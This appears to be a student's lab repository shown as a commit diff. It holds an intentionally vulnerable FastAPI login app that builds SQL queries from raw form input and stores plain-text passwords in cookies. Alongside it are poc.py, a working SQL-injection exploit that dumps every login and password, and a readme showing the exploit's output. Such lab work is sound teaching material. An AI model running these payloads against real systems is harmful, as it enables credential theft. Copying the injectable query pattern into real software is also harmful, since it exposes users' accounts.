Compare commits
16 Commits
d448005293
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| 4ed1d130e3 | |||
| a6eb4c06fd | |||
| d6c4fb3e14 | |||
| f958956395 | |||
| 85083c9f15 | |||
| ed137b7620 | |||
| 30a1c38304 | |||
| a05fd59274 | |||
| d990cf5482 | |||
| 2295061943 | |||
| fa7d2c7cba | |||
| 532556dacd | |||
| f18f545e33 | |||
| 661fee131e | |||
| 641df7cfe8 | |||
| 5c7d16f418 |
3
.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
.vscode
|
||||
**__pycache__
|
||||
data
|
||||
11
Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
||||
FROM python:3.11-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY ./requirements.txt /app/requirements.txt
|
||||
|
||||
RUN pip install --no-cache-dir --upgrade -r /app/requirements.txt
|
||||
|
||||
COPY ./src /app/src
|
||||
|
||||
CMD ["fastapi","run", "./src/app.py"]
|
||||
BIN
Task_1 Screenshots/photo_11_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 27 KiB |
BIN
Task_1 Screenshots/photo_14_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 31 KiB |
BIN
Task_1 Screenshots/photo_1_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 145 KiB |
BIN
Task_1 Screenshots/photo_2_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
Task_1 Screenshots/photo_3_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 11 KiB |
BIN
Task_1 Screenshots/photo_4_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 11 KiB |
BIN
Task_1 Screenshots/photo_5_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 13 KiB |
BIN
Task_1 Screenshots/photo_6_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
Task_1 Screenshots/photo_7_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
Task_1 Screenshots/photo_8_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
Task_1 Screenshots/photo_9_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
Task_2 Sceenshots/photo_16_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 27 KiB |
BIN
Task_2 Sceenshots/photo_18_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 25 KiB |
BIN
Task_2 Sceenshots/photo_22_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
Task_2 Sceenshots/photo_23_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 22 KiB |
BIN
Task_3 Sceenshots/photo_17_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
Task_3 Sceenshots/photo_21_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 89 KiB |
BIN
Task_4 Sceenshots/photo_20_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
Task_4 Sceenshots/photo_24_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 47 KiB |
BIN
Task_4 Sceenshots/photo_25_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 386 KiB |
BIN
auxilary/photo_10_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
auxilary/photo_12_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 33 KiB |
BIN
auxilary/photo_13_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
auxilary/photo_15_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 78 KiB |
7
compose.yaml
Normal file
@@ -0,0 +1,7 @@
|
||||
services:
|
||||
vunerable-web-app1:
|
||||
image: kulesh_web-app:v0.0.1a
|
||||
ports:
|
||||
- "21252:8000"
|
||||
volumes:
|
||||
- ./data/:/app/data
|
||||
39
poc.py
Executable file
@@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import re
|
||||
import argparse
|
||||
|
||||
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
|
||||
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
|
||||
args = parser.parse_args()
|
||||
|
||||
BASE_URL = args.base_url
|
||||
|
||||
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
|
||||
form_data = {"login": login_payload, "password": "' OR 1=1--"}
|
||||
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
|
||||
logins= logins_raw.split("',), ('")
|
||||
|
||||
|
||||
passwords=[]
|
||||
for login in logins:
|
||||
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
|
||||
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
||||
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
|
||||
passwords.append(password)
|
||||
|
||||
|
||||
if logins and passwords:
|
||||
for i, (login, password) in enumerate(zip(logins, passwords)):
|
||||
if login == "Administrator":
|
||||
print(f"{'*' * 60}")
|
||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
|
||||
print(f"{'*' * 60}")
|
||||
else:
|
||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
||||
|
||||
else:
|
||||
print("Не удалось извлечь данные.")
|
||||
|
||||
54
readme.md
Normal file
@@ -0,0 +1,54 @@
|
||||
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
|
||||
|
||||
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
|
||||
|
||||
# PC-Seq-Exam-WebApp
|
||||
|
||||
## Сборка
|
||||
|
||||
```sh
|
||||
docker build -t kulesh_web-app:v0.0.1a .
|
||||
```
|
||||
|
||||
## Запуск
|
||||
```sh
|
||||
docker compose up -d
|
||||
```
|
||||
## Регистрация через curl
|
||||
|
||||
|
||||
```bash
|
||||
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
|
||||
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
|
||||
```
|
||||
## SQLi
|
||||
в бреду намаслал Proof Of Concept
|
||||
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
|
||||
пользователь очень любит скобочки кавычки и пробелы)
|
||||
|
||||
для запуска ставим requests,
|
||||
```pip install requests```
|
||||
в помошь)
|
||||
```sh
|
||||
python ./poc.py --base-url http://aboba.eu
|
||||
```
|
||||
допустм что 2 пользователя зарегались с посмошью команд выше
|
||||
|
||||
```
|
||||
./poc.py
|
||||
************************************************************
|
||||
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
|
||||
************************************************************
|
||||
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
|
||||
```
|
||||
|
||||
|
||||
Выполнил Кулеш А.Б.
|
||||
Б9123-09.03.04
|
||||
|
||||
---
|
||||
Он постоянно что-то ест, он постоянно что-то пьёт
|
||||
|
||||
Он быстро набирает вес, клянётся, что в спортзал пойдёт
|
||||
|
||||
Но продолжает что-то есть и продолжает что-то пить
|
||||
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
||||
fastapi[standard]
|
||||
156
src/app.py
Normal file
@@ -0,0 +1,156 @@
|
||||
import sqlite3
|
||||
from fastapi import FastAPI
|
||||
from fastapi import Request, Form
|
||||
from fastapi.responses import HTMLResponse, RedirectResponse
|
||||
|
||||
DB_PATH = "./data/database.db"
|
||||
|
||||
conn = sqlite3.connect(DB_PATH)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
|
||||
)
|
||||
|
||||
app = FastAPI(
|
||||
docs_url=None, # Disable Swagger UI
|
||||
redoc_url=None, # Disable ReDoc
|
||||
openapi_url=None, # Disable OpenAPI JSON schema
|
||||
)
|
||||
|
||||
STYLES = """
|
||||
<style>
|
||||
body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
</style>
|
||||
"""
|
||||
|
||||
|
||||
@app.get("/register", response_class=HTMLResponse)
|
||||
async def register_form():
|
||||
return f"""
|
||||
<html>
|
||||
<head><title>Регистрация</title>{STYLES}</head>
|
||||
<body>
|
||||
<h2>Регистрация</h2>
|
||||
<form action="/register" method="post">
|
||||
<input name="login" placeholder="Login" required><br>
|
||||
<input name="password" type="password" placeholder="Password" required><br>
|
||||
<button type="submit">Register</button>
|
||||
</form>
|
||||
<p>Уже есть аккаунт? <a href="/login">Войти</a></p>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
|
||||
@app.post("/register")
|
||||
async def register(login: str = Form(...), password: str = Form(...)):
|
||||
try:
|
||||
cursor.execute(
|
||||
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
|
||||
)
|
||||
conn.commit()
|
||||
response = RedirectResponse(url="/welcome", status_code=302)
|
||||
response.set_cookie("login", login)
|
||||
response.set_cookie("password", password)
|
||||
return response
|
||||
except sqlite3.IntegrityError:
|
||||
return HTMLResponse(
|
||||
f"""
|
||||
<html>
|
||||
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
||||
<body>
|
||||
<h3>Login уже существует</h3>
|
||||
<a href='/register'>Попробовать снова</a>
|
||||
</body>
|
||||
</html>
|
||||
""",
|
||||
status_code=400,
|
||||
)
|
||||
|
||||
|
||||
@app.get("/login", response_class=HTMLResponse)
|
||||
async def login_form():
|
||||
return f"""
|
||||
<html>
|
||||
<head><title>Вход</title>{STYLES}</head>
|
||||
<body>
|
||||
<h2>Вход</h2>
|
||||
<form action="/login" method="post">
|
||||
<input name="login" placeholder="Login" required><br>
|
||||
<input name="password" type="password" placeholder="Password" required><br>
|
||||
<button type="submit">Login</button>
|
||||
</form>
|
||||
<p>Нет аккаунта? <a href="/register">Зарегистрироваться</a></p>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
|
||||
@app.post("/login")
|
||||
async def login(login: str = Form(...), password: str = Form(...)):
|
||||
cursor.execute(
|
||||
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
||||
)
|
||||
user = cursor.fetchall()
|
||||
if user:
|
||||
response = RedirectResponse(url="/welcome", status_code=302)
|
||||
response.set_cookie("login", login)
|
||||
response.set_cookie("password", password)
|
||||
return response
|
||||
else:
|
||||
return HTMLResponse(
|
||||
f"""
|
||||
<html>
|
||||
<head><title>Ошибка входа</title>{STYLES}</head>
|
||||
<body>
|
||||
<h3>Неверные учетные данные</h3>
|
||||
<a href='/login'>Попробовать снова</a>
|
||||
</body>
|
||||
</html>
|
||||
""",
|
||||
status_code=401,
|
||||
)
|
||||
|
||||
|
||||
@app.get("/welcome", response_class=HTMLResponse)
|
||||
async def welcome(request: Request):
|
||||
login = request.cookies.get("login")
|
||||
password = request.cookies.get("password")
|
||||
if not login or not password:
|
||||
return RedirectResponse(url="/login")
|
||||
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
||||
print(f"executing: {query}")
|
||||
cursor.execute(
|
||||
query
|
||||
)
|
||||
user = cursor.fetchall()
|
||||
if user:
|
||||
return f"""
|
||||
<html>
|
||||
<head><title>Добро пожаловать</title>{STYLES}</head>
|
||||
<body>
|
||||
<h1>Привет, {str(user)[3:-4]}</h1>
|
||||
<button onclick="
|
||||
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||
window.location.href = '/login';
|
||||
">Выйти</button>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
else:
|
||||
return RedirectResponse(url="/login")
|
||||
|
||||
|
||||
|
||||
@app.get("/", include_in_schema=False)
|
||||
async def root():
|
||||
return RedirectResponse(url="/login")
|
||||